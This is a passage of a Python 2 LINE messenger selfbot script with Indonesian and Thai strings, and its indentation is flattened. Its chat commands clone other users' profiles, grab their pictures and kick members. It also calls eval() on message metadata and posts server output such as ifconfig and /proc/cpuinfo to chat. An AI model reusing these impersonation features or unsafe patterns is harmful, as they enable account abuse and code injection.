s.headers['user-agent'] = 'Mozilla/5.0'
url = 'http://www.youtube.com/results'
params = {'search_query': query}
r = s.get(url, params=params)
soup = BeautifulSoup(r.content, 'html5lib')
hasil = ""
for a in soup.select('.yt-lockup-title > a[title]'):
if '&list=' not in a['href']:
hasil += ''.join((a['title'],'\nhttp://www.youtube.com' + a['href'],'\n\n'))
cl.sendText(msg.to,hasil)
print '[Command] Youtube Search'
#-------------------------------------------------------
elif msg.text.lower() == '.reboot':
if msg.from_ in admin:
print "[Command]Like executed"
try:
cl.sendText(msg.to,"Restarting...")
restart_program()
except:
cl.sendText(msg.to,"Please wait")
restart_program()
pass
elif ("Hack " in msg.text):
if msg.from_ in admin:
key = eval(msg.contentMetadata["MENTION"])
key1 = key["MENTIONEES"][0]["M"]
mi = cl.getContact(key1)
cl.sendText(msg.to,"Mid:" + key1)
#-------------------------------------------------------
elif "Mid" == msg.text:
cl.sendText(msg.to,mid)
elif msg.text in ["Backup:on","Backup on"]:
if wait["Backup"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Sudah on Bos\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
cl.sendText(msg.to,"Backup On\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
wait["Backup"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"Backup On\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
cl.sendText(msg.to,"Sudah on Bos\n\n"+ datetime.today().strftime('%H:%M:%S'))
elif msg.text in ["Backup:off","Backup off"]:
if wait["Backup"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Sudah off Bos\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
cl.sendText(msg.to,"Backup Off\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
wait["Backup"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Backup Off\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
cl.sendText(msg.to,"Sudah off Bos\n\n"+ datetime.today().strftime('%H:%M:%S'))
elif msg.text in ["Reject"]:
gid = cl.getGroupIdsInvited()
for i in gid:
cl.rejectGroupInvitation(i)
if wait["lang"] == "JP":
cl.sendText(msg.to,"Semua Spam Undangan Telah Di Tolak")
else:
cl.sendText(msg.to,"Rejected")
#--------------------------------------------------
elif "Sampul @" in msg.text:
print "[Command]dp executing"
_name = msg.text.replace("Sampul @","")
_nametarget = _name.rstrip(' ')
gs = cl.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
cl.sendText(msg.to,"Contact not found")
else:
for target in targets:
try:
contact = cl.getContact(target)
cu = cl.channel.getCover(target)
path = str(cu)
cl.sendImageWithURL(msg.to, path)
except:
pass
print "[Command]dp executed"
#--------------------------------------------------
elif "Midpict " in msg.text:
umid = msg.text.replace("Midpict ","")
contact = cl.getContact(umid)
try:
image = "http://dl.profile.line-cdn.net/" + contact.pictureStatus
except:
image = "https://www.1and1.co.uk/digitalguide/fileadmin/DigitalGuide/Teaser/not-found-t.jpg"
try:
cl.sendImageWithURL(msg.to,image)
except Exception as error:
cl.sendText(msg.to,(error))
pass
elif "Mycopy @" in msg.text:
if msg.toType == 2:
if msg.from_ in admin:
print "[COPY] Ok"
_name = msg.text.replace("Mycopy @","")
_nametarget = _name.rstrip(' ')
gs = cl.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
cl.sendText(msg.to, "Tidak Ada Target Copy")
else:
for target in targets:
try:
cl.cloneContactProfile(target)
cl.sendText(msg.to, "Sukses Copy Profile")
except Exception as e:
print e
elif msg.text in ["Mybackup"]:
try:
cl.updateDisplayPicture(mybackup.pictureStatus)
cl.updateProfile(mybackup)
cl.sendText(msg.to, "Backup Sukses Bosqu")
except Exception as e:
cl.sendText(msg.to, str (e))
#-------------------------------------------------
elif "Apakah " in msg.text:
tanya = msg.text.replace("Apakah ","")
jawab = ("Ya","Tidak","Mungkin","Bisa jadi"," Capek aku pantek!")
jawaban = random.choice(jawab)
cl.sendText(msg.to,jawaban)
#-------------------------------------------------
#-------------------------------------------------
elif msg.text in ["Mimic on","mimic on"]:
if wait3["copy"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Already on")
else:
cl.sendText(msg.to,"Mimic On")
else:
wait3["copy"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"Mimic On")
else:
cl.sendText(msg.to,"Already on")
#--------------------------------------------------
elif msg.text in ["Mimic off","mimic:off"]:
if wait3["copy"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Already on")
else:
cl.sendText(msg.to,"Mimic Off")
else:
wait3["copy"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Mimic Off")
else:
cl.sendText(msg.to,"Already on")
elif msg.text in ["Target list"]:
if wait3["target"] == {}:
cl.sendText(msg.to,"nothing")
else:
mc = "Target mimic user\n"
for mi_d in wait3["target"]:
mc += "✔️ "+cl.getContact(mi_d).displayName + "\n"
cl.sendText(msg.to,mc)
elif "Mimic target " in msg.text:
if wait3["copy"] == True:
siapa = msg.text.replace("Mimic target ","")
if siapa.rstrip(' ') == "me":
wait3["copy2"] = "me"
cl.sendText(msg.to,"Mimic change to me")
elif siapa.rstrip(' ') == "target":
wait3["copy2"] = "target"
cl.sendText(msg.to,"Mimic change to target")
else:
cl.sendText(msg.to,"I dont know")
elif "Target @" in msg.text:
target = msg.text.replace("Target @","")
gc = cl.getGroup(msg.to)
targets = []
for member in gc.members:
if member.displayName == target.rstrip(' '):
targets.append(member.mid)
if targets == []:
cl.sendText(msg.to, "User not found")
else:
for t in targets:
wait3["target"][t] = True
cl.sendText(msg.to,"Target added")
elif "Del target @" in msg.text:
target = msg.text.replace("Del target @","")
gc = cl.getGroup(msg.to)
targets = []
for member in gc.members:
if member.displayName == target.rstrip(' '):
targets.append(member.mid)
if targets == []:
cl.sendText(msg.to, "User not found")
else:
for t in targets:
del wait3["target"][t]
cl.sendText(msg.to,"Target deleted")
#-------------------------------------------------
elif msg.text in ["Clear ban"]:
wait["blacklist"] = {}
cl.sendText(msg.to,"clear")
#--------------------------------------------------
elif "Ambilkan " in msg.text:
if msg.toType == 2:
msg.contentType = 0
steal0 = msg.text.replace("Ambilkan ","")
steal1 = steal0.lstrip()
steal2 = steal1.replace("@","")
steal3 = steal2.rstrip()
_name = steal3
group = cl.getGroup(msg.to)
targets = []
for g in group.members:
if _name == g.displayName:
targets.append(g.mid)
if targets == []:
cl.sendText(msg.to,"Gak da orang")
else:
for target in targets:
try:
contact = cl.getContact(target)
try:
image = "http://dl.profile.line-cdn.net/" + contact.pictureStatus
except:
image = "https://www.1and1.co.uk/digitalguide/fileadmin/DigitalGuide/Teaser/not-found-t.jpg"
try:
cl.sendImageWithURL(msg.to,image)
except Exception as error:
cl.sendText(msg.to,(error))
pass
except:
cl.sendText(msg.to,"Error!")
break
else:
cl.sendText(msg.to,"Tidak bisa dilakukan di luar grup")
#--------------------------------------------------------
elif "v10" in msg.text:
cl.sendText(msg.to,"""
คำสั่งบอท siri
คำนี้เป็นการล็อกห้องสั่งแล้วทุกคนจะทำอะไรไม่ได้นอกจากเจ้าของห้องทำได้คนเดียวเช่น•เปิดลิงค์•เชิญเพื่อน•เปลี่ยนรูปกลุ่ม•เปลี่ยนชื่อกลุ่มไรแบบนี้• บอทจะไม่เตะเเอทมินทุกกรณี
มีตั้งเเต่ชุดบอท 12-37 บอท
ชุดล๊อกห้อง
ล๊อกกันรันสติ๊กเกอร์
Set:StampLimitation:on
ล๊อกชื่อกลุ่ม
Set:changenamelock:on
ล๊อกการเชิญของสมาชิก
Set:blockinvite:on
ล๊อกแอทมินกลุ่ม
Set:ownerlock:on
ล๊อกรูปกลุ่ม
Set:iconlock:on
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
set:changeowner
เปลี่ยนเจ้าของห้องสั่งแล้วส่งคอลแทคคนที่จะเป็นเจ้าของห้องคนต่อไปลงในกลุ่ม
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
set:addblacklist
บัญชีดำแบ็คลิสคนไม่ให้เข้ากลุ่มสั่งแล้วส่งคอลแทคคนที่เราจะแบ็คลิสลงในกลุ่ม
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
set:addwhitelist
บัญชีขาวแก้ดำสั่งแล้วส่งคอลแทคคนที่เราจะแก้แบ๊คลิสลงในกลุ่ม
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
Set:blockinvite:off ปลดล็อกการเชิญ
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
Set:blockinvite:on ล็อกการเชิญ
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
Siri:inviteurl เปิดลิงค์
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
Siri:DenyURLInvite ปิดลิงค์
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
Siri:cancelinvite ยกเลิกค้างเชิญสั่ง2ครั้ง
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
Siri:groupcreator เช็คเจ้าของบ้านตัวจริง
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
Siri:extracreator เช็คเจ้าของบ้านคนสำรอง
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
set:changeextraowner
เพิ่มเจ้าของบ้านคนที2หรือเรียกคนสำรองสั่งแล้วส่งคอลแทคคนที่จะเป็นคนสำรองลงในกลุ่ม
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
Set:turncreator
สลับให้เจ้าของบ้านคนที่2เป็นตัวจริง
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
ดูคนอ่าน
สั่งตั้งค่าก่อนแล้วค่อยสั่งอ่านคน
Setlastpoint ตั้งค่า
Viewlastseen สั่งอ่าน
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
สนใจติดต่อที่
ทราย
http://line.me/ti/p/~bot_botv13
0902853778
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
""")
elif "Getname @" in msg.text:
_name = msg.text.replace("Getname @","")
_nametarget = _name.rstrip(" ")
gs = cl.getGroup(msg.to)
for h in gs.members:
if _nametarget == h.displayName:
cl.sendText(msg.to,"[DisplayName]:\n" + h.displayName )
else:
pass
#----------------------------------------------
elif "Copy @" in msg.text:
if msg.toType == 2:
if msg.from_ in admin:
print "[COPY] Ok"
_name = msg.text.replace("Copy @","")
_nametarget = _name.rstrip(' ')
gs = cl.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
cl.sendText(msg.to, "Tidak Ada Target Copy")
else:
for target in targets:
try:
cl.cloneContactProfile(target)
ki.cloneContactProfile(target)
kk.cloneContactProfile(target)
kc.cloneContactProfile(target)
except:
cl.sendText(msg.to," Sudah Astro")
#------------------------------------------------
elif "Steal dp @" in msg.text:
print "[Command]dp executing"
_name = msg.text.replace("Steal dp @","")
_nametarget = _name.rstrip(' ')
gs = cl.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
ki.sendText(msg.to,"Contact not found")
else:
for target in targets:
try:
contact = cl.getContact(target)
path = "http://dl.profile.line-cdn.net/" + contact.pictureStatus
cl.sendImageWithURL(msg.to, path)
except:
pass
print "[Command]dp executed"
#--------------------------------------------------------
elif msg.text in ["Salam1"]:
ki.sendText(msg.to,"السَّلاَمُ عَلَيْكُمْ وَرَحْمَةُ اللهِ وَبَرَكَاتُهُ")
kk.sendText(msg.to,"Assalamu'alaikum")
#--------------------------------------------
elif msg.text in ["Salam2"]:
ki.sendText(msg.to,"وَعَلَيْكُمْ السَّلاَمُ وَرَحْمَةُ اللهِوَبَرَكَاتُهُ")
kk.sendText(msg.to,"Wa'alaikumsallam.Wr,Wb")
elif msg.text in ["Quote","quote","quotes","Quotes"]:
quote = ['Barangsiapa yang suka meninggalkan barang di tempat umum maka ia akan kehilangan barangnya tersebut\n\nQuote By Ari.','Kunci KESUKSESAN itu cuma satu, yakni lu harus BERHASIL.\n\nQuote By Ari.','Sebaik-baik orang memberi lebih baik ditabung\n\nQuote By Ari.','Lebih baik tangan diatas dari pada tangan di dalam celana\n\nQuote By Ari.','Pantang pulang sebelum goyang\n\nIni Bukan Quote.']
psn = random.choice(quote)
cl.sendText(msg.to,psn)
#-------------------------------------------------------
elif 'wikipedia ' in msg.text.lower():
try:
wiki = msg.text.lower().replace("wikipedia ","")
wikipedia.set_lang("id")
pesan="Title ("
pesan+=wikipedia.page(wiki).title
pesan+=")\n\n"
pesan+=wikipedia.summary(wiki, sentences=1)
pesan+="\n"
pesan+=wikipedia.page(wiki).url
cl.sendText(msg.to, pesan)
except:
try:
pesan="Over Text Limit! Please Click link\n"
pesan+=wikipedia.page(wiki).url
cl.sendText(msg.to, pesan)
except Exception as e:
cl.sendText(msg.to, str(e))
#--------------------------------------------------------
elif "Mycopy @" in msg.text:
if msg.toType == 2:
if msg.from_ in admin:
print "[COPY] Ok"
_name = msg.text.replace("Mycopy @","")
_nametarget = _name.rstrip(' ')
gs = cl.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
cl.sendText(msg.to, "Not Found...")
else:
for target in targets:
try:
cl.cloneContactProfile(target)
cl.sendText(msg.to, "Succes Copy profile")
except Exception as e:
print e
#--------------------------------------------------------
elif "Apakah " in msg.text:
tanya = msg.text.replace("Apakah ","")
jawab = ("iya","Tidak")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='id')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
#--------------------------------------------------------
elif "Mid @" in msg.text:
_name = msg.text.replace("Mid @","")
_nametarget = _name.rstrip(' ')
gs = cl.getGroup(msg.to)
for g in gs.members:
if _nametarget == g.displayName:
cl.sendText(msg.to, g.mid)
else:
pass
#----------------------------------------------------
elif ".Say- " in msg.text:
say = msg.text.replace(".Say- ","")
lang = 'id'
tts = gTTS(text=say, lang=lang)
tts.save("hasil.mp3")
cl.sendAudio(msg.to,"hasil.mp3")
#--------------------------------------------------------
elif msg.text in ["Kalender"]:
wait2['setTime'][msg.to] = datetime.today().strftime('TANGGAL : %Y-%m-%d \nHARI : %A \nJAM : %H:%M:%S')
cl.sendText(msg.to, " KALENDER\n\n" + (wait2['setTime'][msg.to]))
#--------------------------------------------------------
elif ("Bye " in msg.text):
if msg.from_ in admin:
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
targets = []
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
cl.kickoutFromGroup(msg.to,[target])
except:
pass
#--------------------------------------------------------
elif msg.text in ["Key","help","Help"]:
if msg.from_ in admin:
cl.sendText(msg.to,helpMessage)
#--------------------------------------------------------
elif "Teman all" in msg.text:
if msg.from_ in admin:
if msg.toType == 2:
print "[Teman]ok"
_name = msg.text.replace("Teman all","")
gs = cl.getGroup(msg.to)
gs = ki.getGroup(msg.to)
gs = kk.getGroup(msg.to)
gs = kc.getGroup(msg.to)
gs = kr.getGroup(msg.to)
cl.sendText(msg.to,"oke")
targets = []
for g in gs.members:
if _name in g.displayName:
targets.append(g.mid)
if targets == []:
ki.sendText(msg.to,"Tidak Ada Boss Fiz")
else:
for target in targets:
try:
wait["teman"][target] = True
f=codecs.open('teman.json','w','utf-8')
json.dump(wait["teman"], f, sort_keys=True, indent=4,ensure_ascii=False)
except:
ki.sendText(msg.to,"Error")
#------------------------------------------------------
elif "Teman " in msg.text:
gName = msg.text.replace("Teman ","")
for semua in wait["teman"]:
cl.createGroup(gName, semua)
#------------------------------------------------------
elif msg.text in ["Flist"]:
if msg.from_ in admin:
if wait["teman"] == {}:
cl.sendText(msg.to,"nothing")
else:
cl.sendText(msg.to,"Ini list teman kita")
mc = ""
for mi_d in wait["teman"]:
mc += "->" +cl.getContact(mi_d).displayName + "\n"
cl.sendText(msg.to,mc)
#-------------------------------------------------------
elif msg.text in ["Allprotect on","Mode on"]:
if wait["Protectjoin"] == True:
if wait["lang"] == "JP":
jawab = ("PROTECTION SET TO ON","Warning protection on danger for you")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='ja')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
else:
jawab = ("PROTECTION SET TO ON","Warning protection on danger for you")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='ja')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
else:
wait["Protectjoin"] = True
if wait["lang"] == "JP":
jawab = ("PROTECTION SET TO ON","Warning protection on danger for you")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='ja')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
else:
jawab = ("PROTECTION SET TO ON","Warning protection on danger for you")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='ja')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
if wait["Protectcancl"] == True:
if wait["lang"] == "JP":
jawab = ("PROTECTION SET TO ON","Warning protection on danger for you")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='ja')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
else:
jawab = ("PROTECTION SET TO ON","Warning protection on danger for you")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='ja')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
else:
wait["Protectcancl"] = True
if wait["lang"] == "JP":
jawab = ("PROTECTION SET TO ON","Warning protection on danger for you")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='ja')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
if wait["Protectcancel"] == True:
if wait["lang"] == "JP":
jawab = ("PROTECTION SET TO ON","Warning protection on danger for you")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='ja')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
else:
jawab = ("PROTECTION SET TO ON","Warning protection on danger for you")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='ja')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
else:
wait["Protectcancel"] = True
if wait["lang"] == "JP":
jawab = ("PROTECTION SET TO ON","Warning protection on danger for you")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='ja')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
if wait["protectionOn"] == True:
if wait["lang"] == "JP":
jawab = ("PROTECTION SET TO ON","Warning protection on danger for you")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='ja')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
else:
jawab = ("PROTECTION SET TO ON","Warning protection on danger for you")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='ja')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
else:
wait["protectionOn"] = True
if wait["lang"] == "JP":
jawab = ("PROTECTION SET TO ON","Warning protection on danger for you")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='ja')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
else:
jawab = ("PROTECTION SET TO ON","Warning protection on danger for you")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='ja')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
if wait["Protectgr"] == True:
if wait["lang"] == "JP":
jawab = ("PROTECTION SET TO ON","Warning protection on danger for you")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='ja')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
else:
jawab = ("PROTECTION SET TO ON","Warning protection on danger for you")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='ja')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
else:
wait["Protectgr"] = True
if wait["lang"] == "JP":
jawab = ("PROTECTION SET TO ON","Warning protection on danger for you")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='ja')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
else:
jawab = ("PROTECTION SET TO ON","Warning protection on danger for you")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='ja')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
if wait["Backup"] == True:
if wait["lang"] == "JP":
jawab = ("PROTECTION SET TO ON","Warning protection on danger for you")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='ja')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
else:
jawab = ("PROTECTION SET TO ON","Warning protection on danger for you")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='ja')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
else:
wait["Backup"] = True
if wait["lang"] == "JP":
jawab = ("PROTECTION SET TO ON","Warning protection on danger for you")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='ja')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
else:
jawab = ("PROTECTION SET TO ON","Warning protection on danger for you")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='ja')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
#--------------------------------------------------------
elif "Cek " in msg.text:
tanggal = msg.text.replace("Cek ","")
r=requests.get('https://script.google.com/macros/exec?service=AKfycbw7gKzP-WYV2F5mc9RaR7yE3Ve1yN91Tjs91hp_jHSE02dSv9w&nama=ervan&tanggal='+tanggal)
data=r.text
data=json.loads(data)
lahir = data["data"]["lahir"]
usia = data["data"]["usia"]
ultah = data["data"]["ultah"]
zodiak = data["data"]["zodiak"]
cl.sendText(msg.to,"Tanggal Lahir: "+lahir+"\n\nUsia: "+usia+"\n\nUltah: "+ultah+"\n\nZodiak: "+zodiak)
#---------------------------------------------------------
elif msg.text in ["Allprotect on"]:
if msg.from_ in admin or staff:
if wait["AllProtection"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"All Protection On")
else:
cl.sendText(msg.to,"done")
else:
wait["Protectgr"] = True
wait["Protectcancl"] = True
wait["Protectjoin"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"All Protection On")
else:
cl.sendText(msg.to,"done")
elif msg.text in ["Allprotect off"]:
if msg.from_ in admin or staff:
if wait["AllProtection"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"All Protection Off")
else:
cl.sendText(msg.to,"done")
else:
wait["Protectgr"] = False
wait["Protectcancl"] = False
wait["Protectjoin"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"All Protection Off")
else:
cl.sendText(msg.to,"done")
#--------------------------------------------------------
elif msg.text in ["runtime"]:
eltime = time.time() - mulai
van = "Bot sudah berjalan selama "+waktu(eltime)
cl.sendText(msg.to,van)
#--------------------------------------------------------
elif msg.text.lower() == 'ifconfig':
botKernel = subprocess.Popen(["ifconfig"], stdout=subprocess.PIPE).communicate()[0]
cl.sendText(msg.to, botKernel + "\n\n===SERVER INFO NetStat===")
#--------------------------------------------------------
elif msg.text.lower() == 'system':
botKernel = subprocess.Popen(["df","-h"], stdout=subprocess.PIPE).communicate()[0]
cl.sendText(msg.to, botKernel + "\n\n===SERVER INFO SYSTEM===")
#--------------------------------------------------------
elif msg.text.lower() == 'kernel':
botKernel = subprocess.Popen(["uname","-srvmpio"], stdout=subprocess.PIPE).communicate()[0]
cl.sendText(msg.to, botKernel + "\n\n===SERVER INFO KERNEL===")
#--------------------------------------------------------
elif msg.text.lower() == 'cpu':
botKernel = subprocess.Popen(["cat","/proc/cpuinfo"], stdout=subprocess.PIPE).communicate()[0]
cl.sendText(msg.to, botKernel + "\n\n===SERVER INFO CPU===")
#--------------------------------------------------------
elif "kedapkedip " in msg.text.lower():
txt = msg.text.replace("kedapkedip ", "")
t1 = "\xf4\x80\xb0\x82\xf4\x80\xb0\x82\xf4\x80\xb0\x82\xf4\x80\xb0\x82\xf4\x80\xa0\x81\xf4\x80\xa0\x81\xf4\x80\xa0\x81"
t2 = "\xf4\x80\x82\xb3\xf4\x8f\xbf\xbf"
cl.sendText(msg.to, t1 + txt + t2)
#-------------------------------------------------------
elif "cover @" in msg.text:
if msg.toType == 2:
cover = msg.text.replace("cover @","")
_nametarget = cover.rstrip(' ')
gs = cl.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
cl.sendText(msg.to,"Not found")
else:
for target in targets:
try:
h = cl.channel.getHome(target)
objId = h["result"]["homeInfo"]["objectId"]
cl.sendImageWithURL(msg.to,"http://dl.profile.line-cdn.net/myhome/c/download.nhn?userid=" + target + "&oid=" + objId)
except Exception as error:
print error
cl.sendText(msg.to,"Upload image failed.")
#--------------------------------------------------------
elif '.instagram ' in msg.text.lower():
try:
instagram = msg.text.lower().replace(".instagram ","")
html = requests.get('https://www.instagram.com/' + instagram + '/?')
soup = BeautifulSoup(html.text, 'html5lib')
data = soup.find_all('meta', attrs={'property':'og:description'})
text = data[0].get('content').split()
data1 = soup.find_all('meta', attrs={'property':'og:image'})
text1 = data1[0].get('content').split()
user = "Name: " + text[-2] + "\n"
user1 = "Username: " + text[-1] + "\n"
followers = "Followers: " + text[0] + "\n"
following = "Following: " + text[2] + "\n"
post = "Post: " + text[4] + "\n"
link = "Link: " + "https://www.instagram.com/" + instagram
detail = "========INSTAGRAM INFO USER========\n"
details = "\n========INSTAGRAM INFO USER========"
cl.sendText(msg.to, detail + user + user1 + followers + following + post + link + details)
cl.sendImageWithURL(msg.to, text1[0])
except Exception as njer:
cl.sendText(msg.to, str(njer))
#----------------------------------------------------------
elif 'music ' in msg.text.lower():
try:
songname = msg.text.lower().replace('music ','')
params = {'songname': songname}
r = requests.get('http://ide.fdlrcn.com/workspace/yumi-apis/joox?' + urllib.urlencode(params))
data = r.text
data = json.loads(data)
for song in data:
hasil = 'This is Your Music\n'
hasil += 'Judul : ' + song[0]
hasil += '\nDurasi : ' + song[1]
hasil += '\nLink Download : ' + song[4]
cl.sendText(msg.to, hasil)
cl.sendText(msg.to, "Please Wait for audio...")
cl.sendAudioWithURL(msg.to, song[4])
except Exception as njer:
cl.sendText(msg.to, str(njer))
#-----------------------------------------------------------
elif '.lyric ' in msg.text.lower():
try:
songname = msg.text.lower().replace('.lyric ','')
params = {'songname': songname}
r = requests.get('http://ide.fdlrcn.com/workspace/yumi-apis/joox?' + urllib.urlencode(params))
data = r.text
data = json.loads(data)
for song in data:
hasil = 'Lyric Lagu ('
hasil += song[0]
hasil += ')\n\n'
hasil += song[5]
cl.sendText(msg.to, hasil)
except Exception as wak:
cl.sendText(msg.to, str(wak))
#-----------------------------------------------------------
elif "Youtube:" in msg.text.lower():
if msg.toType == 2:
query = msg.text.split(":")
try:
if len(query) == 3:
isi = yt(query[2])
hasil = isi[int(query[1])-1]
cl.sendText(msg.to, hasil)
else:
isi = yt(query[1])
cl.sendText(msg.to, isi[0])
except Exception as e:
cl.sendText(msg.to, str(e))
#-----------------------------------------------------------
elif msg.text in ["List group"]:
if msg.from_ in admin:
gid = cl.getGroupIdsJoined()
h = ""
jml = 0
for i in gid:
gn = cl.getGroup(i).name
h += "♦【%s】\n" % (gn)
jml += 1
cl.sendText(msg.to,"======[List Group]======\n"+ h +"Total group: "+str(jml))
else:
cl.sendText(msg.to,"Khusus Admin")
#--------------------------------------------------------
elif "Ban group: " in msg.text:
grp = msg.text.replace("Ban group: ","")
gid = cl.getGroupIdsJoined()
if msg.from_ in Creator:
for i in gid:
h = cl.getGroup(i).name
if h == grp:
wait["BlGroup"][i]=True
cl.sendText(msg.to, "Success Ban Group : "+grp)
else:
pass
else:
cl.sendText(msg.to, "Khusus Creator")
#--------------------------------------------------------
elif msg.text in ["List ban","List ban group"]:
if msg.from_ in admin:
if wait["BlGroup"] == {}:
ki.sendText(msg.to,"nothing")
kk.sendText(msg.to,"nothing")
kc.sendText(msg.to,"nothing")
else:
mc = ""
for gid in wait["BlGroup"]:
mc += "-> " +cl.getGroup(gid).name + "\n"
ki.sendText(msg.to,"===[Ban Group]===\n"+mc)
else:
cl.sendText(msg.to, "Khusus Admin")
#--------------------------------------------------------
elif msg.text in ["Del ban: "]:
if msg.from_ in admin:
ng = msg.text.replace("Del ban: ","")
for gid in wait["BlGroup"]:
if cl.getGroup(gid).name == ng:
del wait["BlGroup"][gid]
cl.sendText(msg.to, "Success del ban "+ng)
else:
pass
else:
cl.sendText(msg.to, "Khusus Admin")
#--------------------------------------------------------
elif "Join group: " in msg.text:
ng = msg.text.replace("Join group: ","")
gid = cl.getGroupIdsJoined()
try:
if msg.from_ in Creator:
for i in gid:
h = cl.getGroup(i).name
if h == ng:
cl.inviteIntoGroup(i,[Creator])
cl.sendText(msg.to,"Success join to ["+ h +"] group")
else:
pass
else:
cl.sendText(msg.to,"Khusus Creator")
except Exception as e:
cl.sendMessage(msg.to, str(e))
#--------------------------------------------------------
elif "Leave group: " in msg.text:
ng = msg.text.replace("Leave group: ","")
gid = cl.getGroupIdsJoined()
if msg.from_ in Creator:
for i in gid:
h = cl.getGroup(i).name
if h == ng:
cl.sendText(i,"Bot di paksa keluar oleh owner!")
cl.leaveGroup(i)
ki.leaveGroup(i)
kk.leaveGroup(i)
kc.leaveGroup(i)
cl.sendText(msg.to,"Success left ["+ h +"] group")
else:
pass
else:
cl.sendText(msg.to,"Khusus Creator")
#--------------------------------------------------------
elif "Leave all group" == msg.text:
gid = cl.getGroupIdsJoined()
if msg.from_ in Creator:
for i in gid:
cl.sendText(i,"Bot di paksa keluar oleh owner!")
cl.leaveGroup(i)
ki.leaveGroup(i)
